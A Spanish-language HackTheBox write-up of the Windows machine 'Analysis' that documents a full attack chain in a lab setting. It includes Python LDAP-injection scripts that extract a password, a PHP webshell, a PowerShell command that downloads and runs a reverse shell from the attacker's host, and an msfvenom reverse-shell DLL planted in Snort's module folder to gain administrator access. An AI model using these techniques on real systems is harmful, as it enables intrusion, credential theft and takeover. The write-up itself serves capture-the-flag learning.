Analysis - HackTheBox
Resolución de la maquina Analysis de HackTheBox
Hey Jude, tranquilo ya estoy aquí para tu CTF.

Descripción de la maquina.
| Sistema Operativo | Windows |
| Dificultad | Difícil |
| Lanzamiento | 20/01/2024 |
| Creador | UVision |
| Primer Usuario | myDonut |
| Primer Root | jkr |
Enumeración
Empezamos con un nmap y hacemos uso de la utilidad extractPorts.
sudo nmap -p- -sS --min-rate 7000 -Pn -n 10.10.11.250 -oG allports
extractPorts allports
nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,3306,5985,9389,33060,47001,49664,49665,49666,49667,49671,49674,49675,49678,49679,49694,49709,49981 -sVC 10.10.11.250 -oN tageted
Tenemos bastantes puertos abiertos, pero que no cunda el pánico.

NOTA: Es muy probable que si un windows presenta los puertos 88(TCP) Kerberos, 53(TCP) DNS y 389(TCP) LDAP estemos frente a un Domain Controller.
Kerberos Brute Force
Teniendo en cuenta que esta el puerto kerberos, podemos aplicar fuerza bruta para descubrir usuarios con kerbrute.
kerbrute userenum --dc 10.10.11.250 -d analysis.htb /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
En este punto puede ir por un café y tendrá algunos usuarios descubiertos.

Por ahora no podemos hacer nada con esto, así que podemos continuar enumerando tranquilamente.
Observando el resultado del puerto 389 de LDAP en el escaneo con nmap, vemos que hace alusión al dominio analysis.htb, así que lo relacione con su IP, en el archivo /etc/hosts
...
10.10.11.250 analysis.htb
...
Al visitar http://10.10.11.250 no obtuve nada, aplique un poco de fuzzing, pero nada internaste.

Así que me pase a visitar el dominio analysis.htb

Explorando el sitio no encontré nada interesante, así que me dispuse a enumerar algunos subdominios en caso de que se este aplicando virtualhost con ffuf
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.analysis.htb" -u http://10.10.11.250 -mc all -ac

Y tenemos un subdominio 😃, procedí a declararlo en nuestro /etc/hosts

Visitamos y...

No tenemos nada, apliquemos un fuzzing con Feroxbuster en busca de directorios o archivos php ya que la extensión Wappalyzer nos informa que la web interpreta php
feroxbuster -u http://internal.analysis.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x php
Encontramos algunas rutas que llaman la atención, pero las mas relevantes son:
http://internal.analysis.htb/users/list.php
Al visitar /employees/login.php, tenemos un... Login y ya, ah este punto podemos realizar fuerza bruta con los usuarios que tenemos, pero, perderemos el tiempo.

Por lo tanto me pase a observar /users/list.php, y tenemos lo siguiente.

Bien, esta solo responde con un mensaje indicando que falta un parámetro, ¿pero que parámetro?
Podemos buscar el parámetro con gobuster.
gobuster fuzz -u http://internal.analysis.htb/users/list.php?FUZZ= -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --exclude-length 17

Vemos que el parámetro es name al enviar un valor aleatorio, solo obtenemos esto:

Observando las propiedades de la tabla, estas tiene similitud con las propiedades por defecto de LDAP, así que muy posible que lo que muestre sean usuarios LDAP.
Ahora si por detrás tenemos una consulta LDAP podemos hacer una inyección, como las inyecciones SQL, pero con diferente sintaxis.
¿Como lo podemos comprobar? ingresando ?name=a* la cual en la sintaxis LDAP significa que devuelva cualquier usuario que empiece por a.
Por ejemplo:


LDAP Injection
Excelente no?, tenemos otra vía potencial para enumerar usuarios. Ahora lo idean seria ir probando con a,b,c y todo el abecedario para descubrir otros usuarios. Para esto vamos a realizar un script en python.
#!/usr/bin/env python3
import requests
import re
import signal
import pdb
import time
import sys
import string
from termcolor import colored
from pwn import *
def handler(sig, frame):
print(colored("Saliendo...", 'red'))
sys.exit(1)
#Al precionar CTRL+C se ejecuta la funcion handler.
signal.signal(signal.SIGINT, handler)
#variables globales
url = "http://internal.analysis.htb/users/list.php?name="
characters = string.ascii_lowercase
def ldap_injection():
#barras de progreso
p1 = log.progress("Ldap Injection")
p1.status("Starting Ldap Injection")
time.sleep(2)
#iteremos el abecedario dos veces
for first_character in characters:
for second_character in characters:
p1.status(url + f"{first_character}{second_character}*")
#realiza la peticion con la inyeccion
response = requests.get(url + f"{first_character}{second_character}*")
username = re.findall(r'<strong>(.*?)</strong>', response.text)[0]
#verificamos si se econtro un usuario
if "CONTACT_" not in username:
print(colored(f"[*] Valid user: {username}",'blue'))
if __name__ == '__main__':
ldap_injection()
Ejecutamos...

Y tenemos mas usuarios, los guardamos junto con los otros usuarios que encontramos con kerbrute, en un archivo.

Con esta lista podemos hacer varias cosas, como tratar de autenticarse al AD utilizando los usuarios como contraseña, esto suele ser común en entornos reales, por ejemplo:
jdoe:jdoe
Esto lo podemos hacer con netexec
netexec smb 10.10.11.250 -u users.txt -p users.txt --no-bruteforce
Pero no tenemos resultados, también podemos probar un brute force clásico con solo la lista de usuarios.
netexec smb 10.10.11.250 -u users.txt -p users.txt
Pero tampoco tenemos resultados.
Regresemos a la consulta LDAP.

Tenemos varios campos, pero no son todos los que existen en un registro LDAP, así que podemos realizar una inyección para ver que usuarios tiene datos en otra propiedad.
Aquí tiene una lista de las propiedades LDAP.
Como por ejemplo la propiedad "description", así que vamos a verificar en cada usuario si tenemos datos en esta propiedad.
De la siguiente forma:
#Inyection: technician)(description={abc}*
http://internal.analysis.htb/users/list.php?name=technician)(description={description}{character}*
De tal manera que vamos a ir probando en un usuarios, si esta el carácter "a" por ejemplo en la propiedad "description", si esta "a" buscamos el siguiente carácter "b", así hasta descubrir todos lo caracteres de una descripción.
Para esto modificamos el script.
#!/usr/bin/env python3
import requests
import re
import signal
import pdb
import time
import sys
import string
from termcolor import colored
from pwn import *
def handler(sig, frame):
print(colored("Saliendo...", 'red'))
sys.exit(1)
#Al precionar CTRL+C se ejecuta la funcion handler.
signal.signal(signal.SIGINT, handler)
url = "http://internal.analysis.htb/users/list.php?name="
#lista de caracteres, como abecedario(minusculas y mayusculas), numeros y simbolos
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits + '.*$%&@#'
users = ['technician', 'jdoe', 'ajohnson', 'cwilliams','wsmith','jangel','amanson','lzen','badam']
def ldap_injection():
description=""
#barras de progreso
p1 = log.progress("Ldap Injection")
p1.status("Starting Ldap Injection")
p3 = log.progress("Description")
time.sleep(2)
#Se asume que la descripcion no es mayor a 30 caracteres
for position in range(30):
for character in characters:
try:
p1.status(url + f"technician)(description={description}{character}*")
response = requests.get(url + f"technician)(description={description}{character}*")
username = re.findall(r'<strong>(.*?)</strong>', response.text)[0]
#si tenemos technician en la tabla, significa que si existe tal caracter
#en la descripcion, asi que la guardamos y continuamos con el siguiente
#caracter.
if "technician" in username:
description += character
p3.status(description)
time.sleep(2)
break
except:
description += character
p3.status(description)
time.sleep(2)
break
if __name__ == '__main__':
ldap_injection()
Este script esta explicado paso a paso en el write-up de s4vitar.
Lo ultimo que nos queda es probar...

Y teniendo un poco de fe, parece que la descripción del usuario technician parece una contraseña, probemos con autenticarnos al AD, pero muy probablemente las multiples "a" se deban a un error así que las elimine y probé.

Como puede ver tuve varios intentos y fui borrando los caracteres ya que posiblemente el conflicto de la inyección estaba en concatenar un ** ya que, como sabrás * es parte de sintaxis de LDAP.
Bien, tenemos nuestras primeras credenciales, así que me dispuse a enumerar las carpetas compartidas.
netexec smb 10.10.11.250 -u 'technician' -p '97NTtl*4QP96Bv' --shares

Pero no hay nada interesante.
Contemplando las credenciales podemos realizar un RID-Brute para enumerar grupos y usuarios del sistema con netexec
netexec smb 10.10.11.250 -u 'technician' -p '97NTtl*4QP96Bv' --rid-brute

Por ahora no podemos hacer mucho con esta información, así que podemos probar con otras cosas, por ejemplo, recordemos que tenemos el puerto 5985 que corresponde al servicio WinRM probemos si el usuarios technician pertenece al grupo de administradores remotos.
evil-winrm -i 10.10.11.250 -u 'technician' -p '97NTtl*4QP96Bv''
Pero no tenemos acceso ya que el usuario technician no esta el grupo de administradores remotos.
Peroo lo que si podemos hacer es ver quien es parte del grupo de administradores remotos por medio de ldapdomaindump y las credenciales de technician
ldapdomaindump -u 'analysis\technician' -p '97NTtl*4QP96Bv' 10.10.11.250
Como resultado tendremos unos archivos html que podemos visitar desde la web, alojando los resultados en un servidor con python3.

De entrada el sistema esta en el idioma francés, pero podemos identificar el grupo "Administradores de gestión a distancia" que es que otorga permisos para usar WinRM

Haciendo click en el grupo, vemos que están los usuarios:
wsmithjdoe
Así que si tenemos acceso alguno de estos usuarios sabremos que podremos conectarnos por WinRM y obtener una shell.

Recordemos el login que encontramos anteriormente en internal.analysis.htb

Si bien pudimos hacer bruteforce pero no lo hicimos, podemos probar con las credenciales que tenemos de technician

Y funcionan!


Explorando un poco el panel, nos topamos con esta característica que nos permite subir un archivo.

Provee en subir un archivo .png, pero me indico lo siguiente.

Afortunadamente, solo es una advertencia sobre el tamaño del archivo, pero también nos indica la ruta de donde lo guarda, así que esto es genial.

Con Wappalyzer nos damos cuenta que interpreta php, así que probemos en subir una webshell
<?php
echo "<pre>".shell_exec($_GET['cmd'])."</pre>";
?
Guardamos lo anterior en un archivo y subimos.

Excelente, ahora consultemos la ruta /uploads/cmd.php

Perfecto, cabe destacar que subir un archivo que me entablara una shell reversa, pero mataba, por eso el uso de la webshell.
Pero ahora si, vamos por una shell reversa con powershell, tenemos un repositorio de git que ya nos proporciona la script, así que lo descargamos.
git clone https://github.com/samratashok/nishang
cp nishang/Shells/Invoke-PowerShellTcp.ps1 .
Al copiar el script requerimos añadir la siguiente linea al final del archivo.
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.137 -Port 4444
Después nos colocamos en escucha.
rlwrap -cAR nc -lnvp 4444
Y alojamos el pepe.ps1 en un servicio web.
python3 -m http.server 9000
Por ultimo ejecutamos el siguiente comando en nuestra webshell
powershell IEX(New-Object New.WebClient).downloadString(http://10.10.14.137:9000/pepe.ps1)
Con este ya tendremos nuestra shell.


Escalada de privilegios
Para iniciar con esta despapaye, vamos a utilizar winPEAS para que nos enumere posibles vías potenciales para una escalada de privilegios.
Así que procedemos a descargar el binario winPEASx64.exe en nuestra maquina, para después alojarlo en un servicio web y descargarlo en la maquina victima con certutil.exe
cd c:/windows/temp
certutil.exe -f -urlcache -split http://10.10.14.137:9000/winPEASx64.ex
Por comodidad, vamos a guardar el output en un archivo txt.
.\winPEASx64.exe > output.txt
Lo copiamos a la ruta web, donde tenemos nuestra web shell
copy output.txt c:/inetpub/internal/dashboard/uploads/output.txt

Por ultimo lo descargamos en nuestra maquina para verlo con colorines.
wget http://internal.analysis.htb/dashboard/uploads/output.txt
cat output.txt
Observar la información, nos topamos con unas credenciales almacenadas en el AutoLogon.

Credenciales del usuario jdoe 👀 usuario que es miembro del administradores remotos, es decir que podemos hacer uso del evil-winrm para obtener una shell.
Pero primero comprobemos si las credenciales son validas para el servicio WinRM con netexec
netexec winrm 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'

Y en efecto, tiene permiso, así que nos conectamos rápidamente.

evil-winrm -i 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'
Explorando lo archivos del sistema tenemos la carpeta c:/snort un IDS que posiblemente este en ejecución, pero que por ahora no a tenido una presencia de sus habilidades.

Pero explorando la documentación de Snort, tenemos algo interesante, una carga de módulos dinamos.

¿Que quiere decir esto? que en algún lugar , snort cuenta con una carpeta de módulos que carga al iniciar snort o cada cierto tiempo, el punto es que si tenemos permisos en esa carpeta posiblemente podremos un modulo con alguna carga maliciosa y que se ejecute con el usuario quien controla el proceso, que al ser un IDS este muy probablemente se ejecute con privilegios elevados.
Pero primero debemos encontrar la carpeta donde se almacena estos módulos, lo podemos saber desde el archivo de configuración en c:/snort/etc/snort.conf

Cree una carpeta para probar si tenemos permisos de escritura y en efecto lo tenemos.

También podrá observar que los módulos de cargar son de tipo .dll, por lo tanto podemos crear un payload que nos devuelva una shell reversa en formato .dll con msfvenom, cargarla en la carpeta y esperar.
Así que vamos...
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.137 LPORT=9001 -f dll -a x64 -o shell.dll
Lo alojamos en un servidor web.

Lo descargamos en la maquina victima con certutil.exe
certutil.exe -f -urlcache -split http://10.10.14.137:9002/shell.dll
Y por ultimo copiamos el shell.dll a la carpeta de módulos de snort
copy shell.dll C:\Snort\lib\snort_dynamicpreprocessor\shell.dll

Ahora solo toca espera.


Y en efecto tenemos la shell y con el usuario administrador

Eso fue todo.
Fue un placer querido lector, hasta luego!

Referencias
Técnicas empleadas
SMB EnumerationVirtual HostingSubdomain EnumerationKerberos - User Brute Force Enumeration (kerbrute)Web Fuzzing LDAP InjectionCreating a Python script to easily exploit LDAP injectionDiscovering valid users through LDAP injectionEnumerating user description through LDAP injection + Information LeakageTesting ASREPRoast attack (impacket-GetNPUsers)Testing Kerberoasting attack (impacket-GetUsersSPNs)Exploitation of a customized analysis panelCreating a PHP webshell for command execution + Reverse Shell with NishangSystem enumeration with WinPeasObtaining user credentials stored in the autologon registryAbusing Snort (Loading Dynamic Modules) [Privilege Escalation]Creation of malicious DLL with msfvenom for loading into snort

